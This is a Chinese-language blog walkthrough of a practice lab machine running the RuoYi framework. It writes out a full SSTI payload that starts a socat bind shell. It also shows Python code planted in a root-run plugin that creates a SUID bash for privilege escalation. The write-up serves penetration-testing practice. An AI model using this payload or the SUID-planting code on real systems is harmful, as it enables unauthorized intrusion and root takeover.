398 字
1 分钟
群友的靶机-Ruoyi

一看名字就知道是一个若依框架

我们先启动靶机和攻击机

信息收集#

image-20260416145554630

  • http
  • ssh

WEB SSTI反弹shell#

看一下http

image-20260416145632091

果然是若依 先测几个常见的 用自动化工具测一下shiro 发现不行 默认的admin账号密码也不行

然后看到了有个注册网页

image-20260416145717649

注册个账户进去看一下

image-20260416145827956

然后找了个任意下载文件的路径 但是我们要拿到shell 在网上找了找文章 发现有个ssti 正好我们用ssti去反弹shell

https://segmentfault.com/a/1190000044916046?sort=votes

网站在这

进去之后测一下有没有漏洞点 发现有 直接用POST提交payload

payload
fragment=__${T(org.springframework.web.context.request.RequestContextHolder).currentRequestAttributes().getResponse().getWriter().write(newjava.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(newString[]{'/bin/sh','-c','nohup /usr/bin/socat TCP-LISTEN:4444,reuseaddr,fork EXEC:/bin/bash,pty,stderr,setsid,sigint,sane >/dev/null 2>&1 &'}).getInputStream())))==null?'fragment-tasklist':'fragment-tasklist'}__

然后kali监听端口 反弹成功

image-20260416150018637

提权#

我们发现组是opt组

看一下定时任务之类的

image-20260416150120925

image-20260416150307450

可惜我们不能直接利用

那看一下opt组吧 可能在组里面

find / -group ops -maxdepth 3 2>/dev/null

ls -la /opt/opsagent/plugins

cat /opt/opsagent/reporter.py

image-20260416150428328

-rw-rw-r— 1 root ops 230 Apr 16 02:40 netmon.py

显眼的opt

然后我们发现reporter.py 调用了netmon并且会执行

我们还需要知道这个文件被谁执行 这个代码没找到 我们去看一下这个py文件的服务

cd /etc/systemd/system

cat /etc/systemd/system/ops-report.service

image-20260416150606915

root执行这个文件

那就清晰了 然后我们看到timer服务 看一下这个文件多长时间执行 只要是定时的我们就可以利用它

image-20260416151053232

用了两次 发现这个大概就是一分钟执行一次

那我们直接把这个netmon文件写个恶意代码 让 root 执行时生成一个 SUID bash

import os
import socket
def collect():
os.system("cp /bin/bash /tmp/rootbash && chmod 4755 /tmp/rootbash")
return {
"hostname": socket.gethostname(),
"uid": os.getuid(),
"euid": os.geteuid()
}

image-20260416151235651

等root执行

ls -l /tmp/rootbash

image-20260416151321323

然后进入root shell 取得flag

image-20260416151407768

分享

如果这篇文章对你有帮助,欢迎分享给更多人!

群友的靶机-Ruoyi
https://blog.hollowqing.cn/posts/pentest/ruoyi/
作者
Hollow
发布于
2026-04-16
许可协议
CC BY-NC-SA 4.0

部分信息可能已经过时

目录